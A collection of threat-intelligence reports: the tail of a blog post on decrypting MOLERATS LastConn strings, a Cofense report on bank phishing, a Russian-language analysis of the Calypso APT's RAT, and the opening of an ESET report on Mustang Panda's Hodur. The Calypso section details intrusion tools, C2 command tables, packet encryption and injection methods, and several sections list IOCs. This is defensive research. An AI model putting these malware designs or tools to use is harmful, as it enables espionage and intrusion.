The parsing code was adapted from polynomenx’s blog post as listed above, and it is a brilliant example of what is possible pairing DNLIB with Python. In this case, we can search through the binary in a similar way, searching for all mentions of the method pyM1eVFCveMv9BuGJ6.
After executing the above script, we can view the glory that is automation! We can print all the strings, or simply pipe the output to a file to view later on – providing us with the same output that ProofPoint uploaded to their GitHub. While .NET Reactor obfuscated malware does not use the same encryption key, it’s fairly simple to reverse the string encryption (at least in this version) and use the tools we covered in this post to develop a semi-automated string decrypter, speeding your analysis up by 10-fold!
You can grab the full (and cleaned up) script from here! It’s currently optimized for Python 2.7, but with some slight alterations it should be good to go for Python 3!
After uploading the script I noticed some issues with it not picking up several calls to the string decryption function inside the main Pro.Form1(). It does pick up quite a few strings, though there are some obvious strings that do not appear in the dump, but are visible in the string dump on the ProofPoint ThreatResearch Github.
It could just be that I’m running the entire thing in Python instead of C#, but if anyone knows the specifics I’d love to find out!
And that wraps up this post on decrypting the strings inside the MOLERATS LastConn payload! |
# Phishers Cast a Wider Net in the African Banking Sector
**Cofense**
May 29, 2020
The Cofense Phishing Defence Center (PDC) has uncovered a wide-ranging attempt to compromise credentials from five different African financial institutions. Posing as tax collection authorities, adversaries seek to collect account numbers, user IDs, PINs, and cell phone numbers from unsuspecting customers.
One such email, which was found in environments protected by Proofpoint and Microsoft, alleges to come from the South African Revenue Service’s (SARS) eFiling service. It claims a tax return deposit of R12,560.5 (South African Rands), approximately $700 USD, has been made to the user’s account and urges them to click on their financial institution in order to claim it. The real sender of the email, however, appears to be a personal Gmail address that may have been created or compromised by the adversaries.
As seen in the analysis, it is erroneously assigned a score of zero in Proofpoint’s “phishscore” metric.
## Dragging and Dropping a Net
Each of the images embedded in the email corresponds to a different bank. Clicking on any of these will take the user to a spoofed login portal corresponding to the selected bank. The spoofed banks include ABSA, Capitec, First National Bank (FNB), Nedbank, and Standard Bank, all of which are based in South Africa. The lookalike sites are located at 81.0.226.156 and hosted by Czech hosting provider Nethost. It should be noted that, at the time of analysis, only the site for Standard Bank was unavailable.
All spoofed portals were created using Webnode, a website building service known for its friendly drag and drop features. Despite this ease of use, adversaries have kept things rather simple, as all portals are basic forms with a few or no images. The portals ask for a variety of personal information, including account numbers, passwords, PINs, and even cell phone numbers.
Adversaries can access all entries directly from the form itself. They can also receive notifications to an email address of their choosing every time a submission is made; the Gmail account used to send the phishing email may also be where adversaries are notified of each and every new victim. Webnode also allows the export of form submission data in XML and CSV formats.
Webnode therefore is an optimal way to store and retrieve stolen user data. There is no need for additional infrastructure, nor to compromise any third parties. As in the case of the Standard Bank portal, the risk of discovery and subsequent closure of spoofed sites means adversaries can lose access to any unretrieved information. However, this risk seems to be offset by the ease with which replacement spoofed sites can be created.
## IOCs:
**Malicious URLs:**
- hxxps://absa9.webnode.com
- hxxps://capitec-za.webnode.com
- hxxps://first-national-bnk.webnode.com
- hxxps://nedbank-za0.webnode.com
- hxxps://standardbnk.webnode.com
**Associated IPs:**
- 81.0.226.156
## How Cofense Can Help:
Easily consume phishing-specific threat intelligence in real time to proactively defend your organization against evolving threats with Cofense Intelligence™. Cofense Intelligence customers were already defended against these threats well before the time of this blog posting and received further information in the Active Threat Report 38237 and a YARA rule.
All third-party trademarks referenced by Cofense whether in logo form, name form or product form, or otherwise, remain the property of their respective holders, and use of these trademarks in no way indicates any relationship between Cofense and the holders of the trademarks. Any observations contained in this blog regarding circumvention of endpoint protections are based on observations at a point in time based on a specific set of system configurations. Subsequent updates or different configurations may be effective at stopping these or similar threats.
The Cofense® and PhishMe® names and logos, as well as any other Cofense product or service names or logos displayed on this blog are registered trademarks or trademarks of Cofense Inc. |
# Calypso APT
Впервые активность группы Calypso была выявлена специалистами PT Expert Security Center в марте 2019 года, в ходе работ по обнаружению киберугроз. В результате было получено множество образцов ВПО данной группы, выявлены пострадавшие организации и контрольные серверы злоумышленников. По нашим данным, группа активна как минимум с сентября 2016 года. Основной целью группы является кража конфиденциальных данных, основные жертвы — государственные учреждения из Бразилии, Индии, Казахстана, России, Таиланда, Турции. Полученные нами данные позволяют считать, что группа имеет азиатские корни.
## Исходный век тор
Злоумышленники получали доступ к внутренней сети скомпрометированной организации через ASPX-веб-шелл. Они загружали веб-шелл посредством эксплуатации уязвимости или же могли взломать одну из стандартных учетных записей для сервисов удаленного доступа. Нам удалось получить живой трафик между злоумышленниками и веб-шеллом. Трафик показывает, что подключение осуществлялось с IP-адреса 46.166.129.241. На этом узле располагается домен tv.teldcomtv.com, который является контрольным сервером для трояна данной группы. Таким образом, контрольные серверы используются не только для управления ВПО, но и для доступа к узлам скомпрометированных инфраструктур. Через веб-шелл злоумышленники загружали утилиты и ВПО, исполняли различные команды, а также распространяли ВПО внутри сети.
## Продвижение по сети
Для продвижения внутри скомпрометированной сети группа использовала общедоступные утилиты и эксплойты:
- SysInternals
- WmiExec
- Nbtscan
- EarthWorm
- Mimikatz
- OS_Check_445
- ZXPortMap
- DoublePulsar
- TCP Port Scanner
- EternalBlue
- Netcat
- EternalRomance
- QuarksPwDump
Для хранения ВПО и утилит на скомпрометированных машинах группа использовала либо C:\RECYCLER, либо C:\ProgramData. Первый вариант использовался только на машинах с системами Windows XP или Windows Server 2003 с NTFS на диске C. Злоумышленники продвигались внутри сети либо с помощью эксплуатации уязвимости MS17-010, либо с помощью украденных учетных данных. В одном случае через 13 дней после получения доступа внутрь сети злоумышленники с помощью DC Sync через Mimikatz получили Kerberos ticket доменного администратора и с его помощью перемещались по сети и заражали новые машины.
## Атрибуция
В одной из атак группа использовала ВПО Calypso RAT, PlugX и троян Byeby. Calypso RAT является уникальным ВПО для данной группы, и его детальный анализ будет приведен ниже. PlugX традиционно используют многие APT-группы азиатского происхождения. Использование PlugX не указывает на какую-то конкретную группу, но в целом свидетельствует о пользе ее азиатских корней. Троян Byeby использовался в атаках во время кампании SongXY в 2017 году. Используемая здесь версия является модифицированной. Группа, которая проводила данную кампанию, также имеет азиатские корни и проводила целевые атаки на организации ВПК и правительственные структуры России и стран СНГ. Однако явной связи между данными вредоносными кампаниями мы не обнаружили.
Во время анализа трафика между сервером злоумышленников и веб-шеллом мы обнаружили, что злоумышленники использовали не анонимный прокси-сервер. В заголовке X-Forwarded-For передавался, предположительно, реальный IP-адрес злоумышленников (36.44.74.47). IP-адрес принадлежит провайдеру China Telecom. Мы предполагаем, что злоумышленники по неосторожности неверно настроили прокси-сервер, чем выдали свой реальный IP-адрес. Это первое свидетельство азиатского происхождения группы.
Злоумышленники также оставили множество системных артефактов, следов в конфигурациях утилит и вспомогательных скриптах, по которым можно сделать вывод о происхождении группы. Так, например, в одном из конфигурационных файлов DoublePulsar был указан внешний IP-адрес 103.224.82.47, предположительно — для тестирования; при этом во всех остальных конфигурационных файлах были внутренние адреса.
Мы также обнаружили BAT-скрипты, которые запускали утилиты для проброса портов ZxPortMap и EarthWorm. Внутри них были обнаружены сетевые индикаторы www.sultris.com и 46.105.227.110. Указанный домен не только использовался для туннелирования трафика, но и являлся контрольным сервером для ВПО PlugX, которое также было обнаружено нами в скомпрометированной системе. Как мы уже упоминали, PlugX традиционно используют группы азиатского происхождения; это третье свидетельство.
Итак, используемое злоумышленниками ВПО, а также используемая ими сетевая инфраструктура — свидетельствуют об азиатском происхождении группы.
## Анализ вредоносного кода Calypso RAT
Структура ВПО и процесс его установки на узлы скомпрометированной сети выглядят следующим образом.
### Дроппер
Дроппер извлекает из себя полезную нагрузку в виде установочного BAT-скрипта и CAB-архива и сохраняет ее на диск. Встроенная внутрь дроппера полезная нагрузка имеет magic-заголовок, поиск которого осуществляет дроппер. Пример структуры пейлоада можно увидеть на рисунке ниже. Для шифрования и расшифровки данных дроппер использует собственный алгоритм, в котором использует CRC32 как PRNG. Алгоритм выполняет арифметические операции сложения (вычитания) между генерируемыми данными и данными, которые необходимо зашифровать (расшифровать).
Расшифрованная полезная нагрузка сохраняется на диск по пути %ALLUSERSPROFILE;\TMP_%d%d, где два последних числа заменяются на случайные, получаемые с помощью вызовов функции rand(). В зависимости от конфигурации в CAB-архиве содержатся либо DLL и зашифрованный шеллкод, либо DLL с закодированным загрузчиком в ресурсах, либо EXE-файл. Последний вариант нам обнаружить не удалось.
### Установочный BAT-скрипт
Используемый BAT-скрипт закодирован с помощью метода подстановки из заранее заданного словаря символов, который инициализирован в одной из переменных установочного скрипта. В раскодированном скрипте можно увидеть комментарии, которые дают подсказки об основных функциях скрипта:
- REM Goto temp directory & extract file (пойти в директорию TEMP и извлечь туда файлы)
- REM Uninstall old version (удалить старую версию)
- REM Copy file (скопировать файл)
- REM Run pre-install script (запустить установочный BAT-скрипт)
- REM Create service (создать сервис для запуска ВПО при старте системы)
- REM Create Registry Run (создать значение в ветке реестра для автозапуска).
В начале каждого скрипта можно увидеть набор переменных, которые скрипт использует для сохранения файлов, модификации сервисов, модификации ключей реестра.
В одном из самых ранних образцов ВПО, скомпилированном в 2016 году, мы обнаружили скрипт, в котором присутствовали комментарии для конфигурации всех переменных.
### Shellcode x86 — Stager
В большинстве проанализированных семплов дроппер был сконфигурирован для выполнения шеллкода. Дроппер сохранял на диск DLL и зашифрованный шеллкод. Название шеллкода всегда повторяло название DLL, но имело расширение .dll.crt. Шеллкод зашифрован таким же алгоритмом, что и полезная нагрузка в дроппере. Шеллкод выполняет роль стейджера, который предоставляет интерфейс для взаимодействия с C2 и для загрузки модулей. Имеет два способа взаимодействия с C2 через TCP и SSL. SSL реализуется через библиотеку mbed_tls.
Начальный анализ шеллкода показал, что помимо динамического поиска API-функций выполняется еще одна операция, повторяющая процесс настройки адресов PE-файла. Структура таблицы настройки адресов также повторяет схожую таблицу из PE-файла.
Так как процесс настройки адресов шеллкода повторяет процесс настройки адресов PE-файла, можно выдвинуть предположение, что изначально ВПО компилируется в PE-файл, и после этого билдером превращается в шеллкод. В пользу этого говорит и то, что внутри шеллкода обнаружена отладочная информация.
После динамического поиска API-функций и настройки адресов происходит разбор конфигурации, которая зашита внутри шеллкода. Конфигурация содержит информацию об адресе контрольного сервера, используемом протоколе и типе подключения.
Далее создается подключение к C2. Генерируется случайный заголовок пакета, который отправляется на C2. В ответ ВПО получает сетевой ключ, который сохраняется и впоследствии используется при каждом взаимодействии с C2. Далее собирается информация о зараженной машине и отправляется на C2.
Затем запускается таймер, который раз в 54 секунды отправляет пустой пакет на C2. Другой занимается непосредственной обработкой команд от C2 и их выполнением. Назначение третьего установить дополнительно невозможно, так как вырезан участок кода, отвечающий за его функциональность. Можно лишь сказать, что этот поток, аналогично первому, должен был «просыпаться» раз в 54 секунды.
### Модули
На данный момент нам не удалось обнаружить какие-либо модули. Но по анализу кода взаимодействия шеллкода и модулей мы можем сказать об их функциональности. Каждый модуль представляет собой шеллкод, которому передается управление по нулевому смещению. Также каждый модуль существует в отдельном контейнере. Под контейнером подразумевается процесс, внутрь которого внедряется загруженный модуль. По умолчанию таким процессом является svchost.exe. При создании контейнера в него внедряется небольшой шеллкод, который осуществляет бесконечный sleep. Он также зашит внутрь основного шеллкода, и, вероятно, JustWait.pdb относится именно к нему.
Модуль внедряется внутрь с помощью обычного writeprocess и запускается либо с помощью NtCreateThreadEx, либо — если ВПО запущенно на ОС с версией ниже чем Vista — с помощью CreateRemoteThread.
Также для каждого модуля создаются два пайпа: один для передачи данных от модуля на C2 и другой для получения данных от C2. Вероятно, модули не имеют своего сетевого кода и используют пайпы для взаимодействия с внешним управляющим сервером через основной шеллкод.
Каждый модуль обладает своим уникальным идентификатором, который назначается C2. Контейнеры также отличаются по способу запуска. Контейнер может быть запущен в конкретной сессии, открытой в ОС, или в той, в которой запущен стейджер. Запуск контейнера в конкретной сессии осуществляется путем получения хендла токена, авторизованного в сессии пользователя, с последующим запуском процесса от имени этого пользователя.
### Команды
Исследованное ВПО может обрабатывать 12 команд. Все они так или иначе относятся к работе с модулями. Ниже перечислены все идентификаторы команд, обнаруженные ВПО, вместе с теми, что отправляет само ВПО в различных ситуациях.
| Идентификатор | Направление | Тип | Описание |
|---------------|-------------|-----|----------|
| 0x401 | От C2 | Команда | Создать описатель модуля. Данная команда содержит информацию о размере модуля и выделяет память под данные модуля. Эта команда, вероятно, должна быть первой в цепочке команд, приводящих к загрузке модуля. |
| 0x402 | От C2 | Команда | Принять данные модуля, и если все данные приняты, то осуществить запуск модуля внутри контейнера, запущенного в той же сессии, что и стейджер. |
| 0x403 | От C2 | Команда | То же, что и 0x402, только запуск модуля осуществляется в контейнере, запущенном в другой сессии. |
| 0x404 | От C2 | Команда | Записать данные в пайп для модуля, запущенного внутри контейнера, работающего в той же сессии, что и стейджер. |
| 0x405 | От C2 | Команда | Записать данные в пайп для модуля, запущенного в контейнере в другой сессии. |
| 0x409 | От C2 | Команда | Сгенерировать константу с помощью вызова GetTickCount() и сохранить ее. Данная константа используется в описанном выше третьем потоке, назначение которого установить не удалось. |
| 0x201 | От C2 | Команда | Запустить модуль, если размер буфера, хранящегося в описателе модуля, равен размеру модуля. Не осуществляет прием данных, в отличие от команд 0x402 и 0x403. Модуль запускается в контейнере, работающем в той же сессии, что и стейджер. |
| 0x202 | От C2 | Команда | То же, что и 0x201, только запуск модуля осуществляется в контейнере, работающем в другой сессии. |
| 0x203 | От C2 | Команда | Закрыть все пайпы, связанные с конкретным модулем, работающим в контейнере, который запущен в той же сессии, что и стейджер. |
| 0x204 | От C2 | Команда | То же, что и 0x203, только для модуля, работающего в контейнере, который запущен в другой сессии. |
| 0x206 | От C2 | Команда | Собрать информацию о сессиях, открытых в системе, и отправить ее на C2 (идентификаторы сессий, имена машин и т. п.). |
| 0x207 | От C2 | Команда | Назначить идентификатор сессии. Данный идентификатор будет использоваться для запуска контейнеров в этой сессии. |
### Сетевой код
Инициализация сетевого взаимодействия происходит после получения сетевого ключа от C2. Для этого ВПО отправляет на C2 случайную последовательность из 12 байт. В ответ оно ожидает также 12 байт, где по нулевому смещению должно располагаться то же значение (DWORD), что и перед отправкой. Если эта проверка проходит, то из ответа берутся 4 байта по смещению 8 и затем выполняется их расшифровка с помощью RC4. В качестве ключа выступают 4 байта, которые были отправлены ранее, располагающиеся также по смещению 8. Полученные в результате этого данные и являются сетевым ключом, который сохраняется и впоследствии используется при отправке данных.
Все передаваемые пакеты имеют следующую структуру:
```
struct Packet {
struct PacketHeader {
DWORD key;
WORD cmdId;
WORD szPacketPayload;
DWORD moduleId;
};
BYTE [max 0xF000] packetPayload;
};
```
Для каждого пакета генерируется случайный 4-байтовый ключ, которым впоследствии зашифровывается часть заголовка, начиная с поля cmdId; с его же помощью шифруется и полезная нагрузка пакета. Для шифрования используется алгоритм RC4. Сам ключ шифруется с помощью операции XOR с сетевым ключом и сохраняется в соответствующее поле заголовка пакета.
### Shellcode x64 — Stager (Base backdoor)
Данный шеллкод очень похож на предыдущий, однако его стоит описать отдельно, так как он обладает рядом отличий в сетевом коде, а также в способе, которым запускаются модули. Этот шеллкод имеет базовые функции по взаимодействию с файловой системой, которых нет в ранее описанном шеллкоде. Также данный шеллкод имеет сходство по формату конфигурации, сетевому коду и сетевым адресам, используемым в качестве C2, с кодом из поста блога NCC Group от 2018 года о вариации Gh0st RAT. Однако связи с Gh0st RAT мы не обнаружили.
В данном варианте шеллкода реализован всего один канал взаимодействия через SSL. Шеллкод имплементирует его с помощью двух легитимных библиотек libeay32.dll и ssleay32.dll, зашитых непосредственно внутрь шеллкода.
Вначале происходит динамический поиск API-функций и загрузка SSL-библиотек. SSL-библиотеки не сохраняются на диск, а сразу вычитываются из шеллкода и маппятся в память. Затем ВПО ищет в размеченном образе функции, необходимые для его работы.
Далее происходит разбор конфигурационной строки, также зашитой внутрь шеллкода. Конфигурация содержит информацию об адресах серверов управления, а также расписание, по которому оно будет работать.
После запускается основной цикл работы ВПО. Осуществляется проверка того, является ли текущее время рабочим временем ВПО, если это не так, то ВПО засыпает примерно на 7 минут и затем проводит проверку еще раз. И так до тех пор, пока текущее время не окажется рабочим, и только тогда ВПО продолжит свою работу. Обратите внимание на рис. 20, в данном примере ВПО будет активно во все дни недели и во все часы.
Когда наступило рабочее время, ВПО начинает последовательно пытаться подключиться ко всем указанным в конфигурации C2. Первый, к которому удалось подключиться, будет принят в качестве рабочего.
Далее отправляется информация о зараженной машине (имя компьютера, текущая дата, версия ОС, разрядность процессора, разрядность ОС, IP-адреса на сетевых интерфейсах, а также их MAC-адреса). Отправив информацию о зараженной машине, ВПО ожидает ответа от C2, и если C2 возвращает необходимый код, то операция отправки информации о зараженной машине считается успешной, и ВПО продолжает свою работу, а иначе ВПО возвращается к этапу последовательного перебора адресов C2. Далее запускается процесс обработки команд, приходящих от C2.
### Модули
Каждый модуль — это валидный MZPE-файл, который размещается в адресном пространстве того же процесса, в котором работает шеллкод. Также модуль может экспортировать символ GetClassObject, на который передается управление при его запуске (если это необходимо).
Каждый модуль имеет свой описатель, который создается в результате выполнения команды от контрольного сервера. Контрольный сервер присылает массив байтов, описывающий модуль (размером 0x15). Данный массив содержит информацию о модуле: необходимо ли его запускать через экспорт, тип модуля (по факту — нужны ли ему пайпы для обратной связи), размер модуля, RVA точки входа (используется, если не установлен флаг запуска через экспорт) и ключ для расшифровки данных модуля. Этот ключ представляет собой, по большому счету, данные, которые используются для форматирования настоящего ключа.
Также отметим, что расшифровка производится — только если modKey не равен зашитой внутрь шеллкода константе 7AC9h. Эта проверка влияет только на процесс дешифровки. Если все же modKey будет равен константе, ВПО перейдет сразу к загрузке модуля. Это будет означать, что модуль не зашифрован.
Для запуска каждого модуля создается отдельный поток, внутри которого и запускается модуль. Процесс запуска с пайпами следующий:
- ВПО создает поток для модуля, начинается процесс маппинга модуля и передача ему управления внутри созданного для него потока;
- ВПО создает новое подключение до текущего рабочего C2;
- ВПО создает пайп с именем, получаемым по форматной строке \\.\pipe\windows@#%02XMon (значение, которое будет вставлено вместо %02X, передается с C2 вместе с командой на запуск модуля);
- ВПО запускает два потока, транслирующие данные из пайпа на C2 и с C2 обратно в пайпы с использованием подключения, созданного на предыдущем этапе. Внутри потоков создаются еще два пайпа — \\.\pipe\windows@#%02Xfir и \\.\pipe\windows@#%02Xsec. Пайп с окончанием fir используется для передачи данных от модуля до C2. Пайп с окончанием sec используется для передачи данных и команд от C2 до модулей.
Второй поток, который обрабатывает команды от C2 до модулей, имеет свой собственный обработчик. О нем подробнее написано в разделе команд, но сейчас отметим только то, что одна из команд может запустить локальный асинхронный TCP-сервер. Он будет принимать данные от того, кто к нему подключится, передавать их на C2 и пересылать их с C2 обратно. Он биндится на адрес 127.0.0.1 и на тот порт, на который получится, начиная с 5000, последовательно перебирая их.
### Команды
Ниже приведены идентификаторы команд, которые может принимать ВПО, а также те, что отправляет само ВПО в различных ситуациях.
| Идентификатор | Направление | Тип | Описание |
|---------------|-------------|-----|----------|
| 0x294C | От C2 | Команда | Создать описатель модуля. |
| 0x2AC8 | От C2 | Команда | Принять данные, содержащие модуль, и сохранить их. |
| 0x230E | От C2 | Команда | Запустить модуль без создания дополнительных пайпов. |
| 0x2D06 | От C2 | Команда | Разрушить объект описателя модуля. |
| 0x590A | От C2 | Команда | Запустить встроенный модуль работы с файловой системой. |
| 0x3099 | От C2 | Команда | Запустить модуль, а также создать дополнительные пайпы для взаимодействия. |
| 0x1C1C | От C2 | Команда | Удаляющий persistence и очищающий созданные директории. |
| 0x55C3 | От C2 | Команда | Загрузить файл с машины на C2. |
| 0x55C5 | От C2 | Команда | Рекурсивный листинг директории. |
| 0x55C7 | От C2 | Команда | Загрузить файл с C2 на машину. |
| 0x3167 | От C2 | Команда | Записать данные в пайп с окончанием «Mon». |
| 0x38AF | От C2 | Команда | Записать в пайп с окончанием «Mon» команду 0x38AF. После этого завершается открытое соединение для модуля. Возможно, означает «завершить работу модуля». |
| 0x3716 | От C2 | Команда | Переслать данные модуля другому модулю. |
| 0x3A0B | От C2 | Команда | То же, что и 0x3099. |
| 0x3CD0 | От C2 | Команда | Запустить асинхронный TCP-сервер, транслирующий данные между C2 и клиентом, который подключится к нему. |
| 0x129E | От ВПО | Ответ | Данный идентификатор имеет пакет, содержащий информацию о зараженной машине. |
| 0x132A | От ВПО | Ответ | Данный идентификатор имеет пакет, отправляемый после отправки данных. |
| 0x2873 | От ВПО | Ответ | Данный идентификатор имеет пакет, отправляемый в случае, если инициализация описателя модуля прошла успешно (0x294C). |
| 0x2D06 | От ВПО | Ответ | Данный идентификатор имеет пакет, отправляемый в случае, если инициализация описателя модуля завершилась с ошибкой (0x294C). |
| 0x2873 | От ВПО | Ответ | Данный идентификатор имеет пакет, отправляемый после принятия данных модуля (0x2AC8). Содержит в себе количество уже сохраненных байтов. |
| 0x2743 | От ВПО | Ответ | Данный идентификатор имеет пакет, отправляемый после запуска модуля без пайпов (0x230E). |
| 0x2D06 | От ВПО | Ответ | Данный идентификатор имеет пакет, отправляемый после того, как описатель модуля был разрушен (0x2D06). |
| 0x3F15 | От ВПО | Ответ | Данный идентификатор имеет пакет, отправляемый после того, как запущен модуль с пайпами. |
### Сетевой код
Каждый пакет имеет следующую структуру:
```
struct Packet {
struct Header {
DWORD rand_k1;
DWORD rand_k2;
DWORD rand_k3;
DWORD szPayload;
DWORD protoConst;
DWORD packetId;
DWORD unk1;
DWORD packetKey;
};
BYTE [max 0x2000] packetPayload;
};
```
Каждый пакет имеет уникальный ключ, определяемый как szPayload + GetTickCount() % hardcodedConst. Данный ключ сохраняется в соответствующее поле заголовка packetKey. Из него генерируется другой ключ, который используется для шифрования заголовка пакета (без поля packetKey, оно не зашифровывается). Генерация RC4-ключа для заголовка представлена на рисунке ниже.
Далее из зашифрованных полей szPayload, packetId, protoConst, rand_k3 генерируется еще один RC4-ключ, который используется для шифрования полезной нагрузки пакета.
Далее формируются HTTP-заголовки и сформированный пакет отправляется на C2. Кроме того, каждый пакет снабжается своим номером, который фигурирует в URL. Модули могут передавать свой идентификатор, который используется для нахождения подключения, созданного на этапе запуска модуля. Идентификатор модуля 0 зарезервирован для основного подключения с стейджером.
## Другие варианты
Как мы уже упоминали, дроппер может быть сконфигурирован на запуск не только шеллкода, но и исполняемых файлов. Мы обнаружили один и тот же дроппер-stager с разной полезной нагрузкой на борту: это Hussar и FlyingDutchman.
### Дроппер-stager
Основными задачами данного дроппера являются распаковка и маппинг полезной нагрузки, хранящейся в закодированном виде в ресурсах. Также дроппер хранит закодированные конфигурационные данные, которые он передает как параметр полезной нагрузке.
### Hussar
Hussar по смыслу похож на шеллкоды, что описаны выше. Он позволяет загружать модули и собирать базовую информацию о машине, а также может добавлять себя в список авторизованных приложений брандмауэра Windows.
### Инициализация
Первым делом ВПО осуществляет разбор переданной ему из загрузчика конфигурации. Поле protocolId показывает, по какому протоколу будет вестись взаимодействие с C2. Всего их реализовано три:
- protocolId равно 1 — будет использован протокол на основе TCP;
- protocolId равно 2 — на основе HTTP;
- protocolId равно 3 — на основе HTTPS.
Затем генерируется идентификатор машины. Он состоит из имени компьютера и временной метки. Временная метка может быть просчитана из реестра из ключа SOFTWARE\Microsoft\Windows\CurrentVersion\Telephony (значение Perf0). В случае если прочитать ее не удалось, к идентификатору машины добавляется temp.
Далее создается окно, которое впоследствии используется для обработки приходящих сообщений. Затем ВПО добавляет себя в список авторизованных приложений брандмауэра Windows с помощью COM-интерфейса INetFwMgr. Инициализация заканчивается созданием потока, который осуществляет подключение к C2 и периодическую отправку запроса на команду. Функция, работающая в потоке, использует API WSAAsyncSelect для оповещения ранее созданного окна о том, что над созданным подключением возможно выполнить действия (сокет «готово для чтения», «подключен», «закрыто»).
В общем окно и механизм сообщений Windows используются ВПО как способ передачи команд. Так как хендл окна передается модулям, а в диспетчере есть не используемые самим стейджером ветви, можно предположить, что модули могут использовать окно для взаимодействия с C2.
### Модули
Каждый модуль представляет собой MZPE-файл, который загружается в то же адресное пространство, что и стейджер. Модуль должен экспортировать функцию GetModulInfo, которая вызывается стейджером после маппинга образа.
| Идентификатор | Направление | Тип | Описание |
|---------------|-------------|-----|----------|
| 0x835 | От C2 | Команда | Собрать информацию о зараженной машине (версия ОС, имя пользователя, имя компьютера, строка, содержащая текущее время, имя процессора из реестра, а также — является ли ОС 64-разрядной). |
| 0x9CA4 | От C2 | Команда | Загрузить модуль. Данные модуля приходят от C2. |
| 0xC358 (Window MSG Code) | ??? | Команда | Передать данные из LPAR AM на C2. |
| 0xC359 (Window MSG Code) | ??? | Команда | Передать конфигурацию C2 модулю. |
| 0x834, 0x835, 0x838, 0x9CA4 | ни один из перечисленных | ??? | Команда | Передать принятый пакет модулю. Идентификатор модуля передается от C2. |
### FlyingDutchman
Полезная нагрузка представляет собой удаленный доступ к зараженной машине. Включает в себя функции по захвату скриншотов с экрана, удаленный шелл, операции с файловой системой, позволяет управлять процессами и сервисами в системе. Состоит из нескольких модулей.
## Заключение
Группа уже имеет за спиной несколько успешных взломов, однако допускает ошибки, позволяющие судить о ее происхождении. По всем приведенным данным, группа происходит из Азии и использует ранее никем не описанное ВПО. Троян Byeby связывает эту группу с обнаруженной нами ранее группой SongXY, пик активности которой пришелся на 2017 год. Мы продолжаем тщательно следить за активностью группы Calypso и прогнозируем новые атаки с ее участием.
## Индикаторы компрометации
### Сетевые
- 23.227.207.137
- 45.63.96.120
- 45.63.114.127
- r01.etheraval.com
- tc.streleases.com
- tv.teldcomtv.com
- krgod.qqm8.com
### Файловые индикаторы
- C9C39045FA14E94618DD631044053824 — Dropper
- E24A62D9826869BC4817366800A8805C — Dll
- F0F5DA1A4490326AA0FC8B54C2D3912D — Shellcode
- CB914FC73C67B325F948DD1BF97F5733 — Dropper
- 6347E42F49A86AFF2DA7C8BF455A52A — Dll
- 0171E3C76345FEE31B90C44570C75BAD — Shellcode
- 17E05041730DCD0732E5B296DB16D757 — Dropper
- 69322703B8EF9D490A20033684C28493 — Dll
- 22953384F3D15625D36583C524F3480A — Shellcode
- 1E765FED294A7AD082169819C95D2C85 — Dropper
- C84DF4B2CD0D3E7729210F15112DA7AC — Dll
- ACAAB4AA4E1EA7CE2F5D044F198F0095 — Shellcode
### Дропперы с одинаковой полезной нагрузкой
- 85CE60B365EDF4BEEBBDD85CC971E84D — dropper
- 1ED72C14C4AAB3B66E830E16EF90B37B — dropper
- CB914FC73C67B325F948DD1BF97F5733 — dropper
### Полезная нагрузка без дроппера
- E3E61F30F8A39CD7AA25149D0F8AF5EF — Dll
- 974298EB7E2ADFA019CAE4D1A927AB07 — Shellcode
- AA1CF5791A60D56F7AE6DA9BB1E7F01E — Dll
- 05F472A9D926F4C8A0A372E1A7193998 — Shellcode
- 0D532484193B8B098D7EB14319CEFCD3 — Dll
- E1A578A069B1910A25C95E2D9450C710 — Shellcode
- 2807236C2D905A0675878E530ED8B1F8 — Dll
- 847B5A145330229CE149788F5E221805 — Shellcode
- D1A1166BEC950C75B65FDC7361DCDC63 — Dll
- CCE8C8EE42FEAED68E9623185C3F7FE4 — Shellcode
### Hussar
- 43B7D48D4B2AFD7CF8D4BD0804D62E8B
- 617D588ECCD942F243FFA8CB13679D9C
### FlyingDutchman
- 5199EF9D086C97732D97EDDEF56591EC
- 06C1D7BF234CE99BB14639C194B3B318 |
# Mustang Panda’s Hodur: Old Tricks, New Korplug Variant
ESET researchers have discovered Hodur, a previously undocumented Korplug variant spread by Mustang Panda, that uses phishing lures referencing current events in Europe, including the invasion of Ukraine.
ESET researchers discovered a still-ongoing campaign using a previously undocumented Korplug variant, which they named Hodur due to its resemblance to the THOR variant previously documented by Unit 42 in 2020. In Norse mythology, Hodur is Thor’s blind half-brother, who is tricked by Loki into killing their half-brother Baldr.
## Key Findings
- As of March 2022, this campaign is still ongoing and goes back to at least August 2021.
- Known victims include research entities, internet service providers, and European diplomatic missions.
- The compromise chain includes decoy documents that are frequently updated and relate to events in Europe.
- The campaign uses a custom loader to execute a new Korplug variant.
- Every stage of the deployment process utilizes anti-analysis techniques and control-flow obfuscation, which sets it apart from other campaigns.
- ESET researchers provide an in-depth analysis of the capabilities and commands of this new variant.
Victims of this campaign are likely lured with phishing documents abusing the latest events in Europe such as Russia’s invasion of Ukraine. This resulted in more than three million residents fleeing the war to neighboring countries, leading to an unprecedented crisis on Ukraine’s borders. One of the filenames related to this campaign is `Situation at the EU borders with Ukraine.exe`. Other phishing lures mention updated COVID-19 travel restrictions, an approved regional aid map for Greece, and a Regulation of the European Parliament and of the Council. The last one is a real document available on the European Council’s website. This shows that the APT group behind this campaign is following current affairs and is able to successfully and swiftly react to them.
## Affected Countries
- Mongolia
- Vietnam
- Myanmar
- Greece
- Russia
- Cyprus
- South Sudan
- South Africa
## Affected Verticals
- Diplomatic missions
- Research entities
- Internet service providers (ISPs)
## Analysis
Based on code similarities and the many commonalities in Tactics, Techniques, and Procedures (TTPs), ESET researchers attribute this campaign with high confidence to Mustang Panda (also known as TA416, RedDelta, or PKPLUG). It is a cyberespionage group mainly targeting governmental entities and NGOs. Its victims are mostly, but not exclusively, located in East and Southeast Asia with a focus on Mongolia. The group is also known for its campaign targeting the Vatican in 2020.
While we haven’t been able to identify the verticals of all victims, this campaign seems to have the same targeting objectives as other Mustang Panda campaigns. Following the APT’s typical victimology, most victims are located in East and Southeast Asia, along with some in European and African countries. According to ESET telemetry, the vast majority of targets are located in Mongolia and Vietnam, followed by Myanmar, with only a few in the other affected countries.
Mustang Panda’s campaigns frequently use custom loaders for shared malware including Cobalt Strike, Poison Ivy, and Korplug (also known as PlugX). The group has also been known to create its own Korplug variants. Compared to other campaigns using Korplug, every stage of the deployment process utilizes anti-analysis techniques and control-flow obfuscation.
This blog post contains a detailed analysis of this previously unseen Korplug variant used in this campaign. This activity is part of the same campaign recently covered by Proofpoint, but we provide additional historical and targeting information.
## Toolset
Mustang Panda is known for its elaborate custom loaders and Korplug variants, and the samples used in this campaign showcase this perfectly.
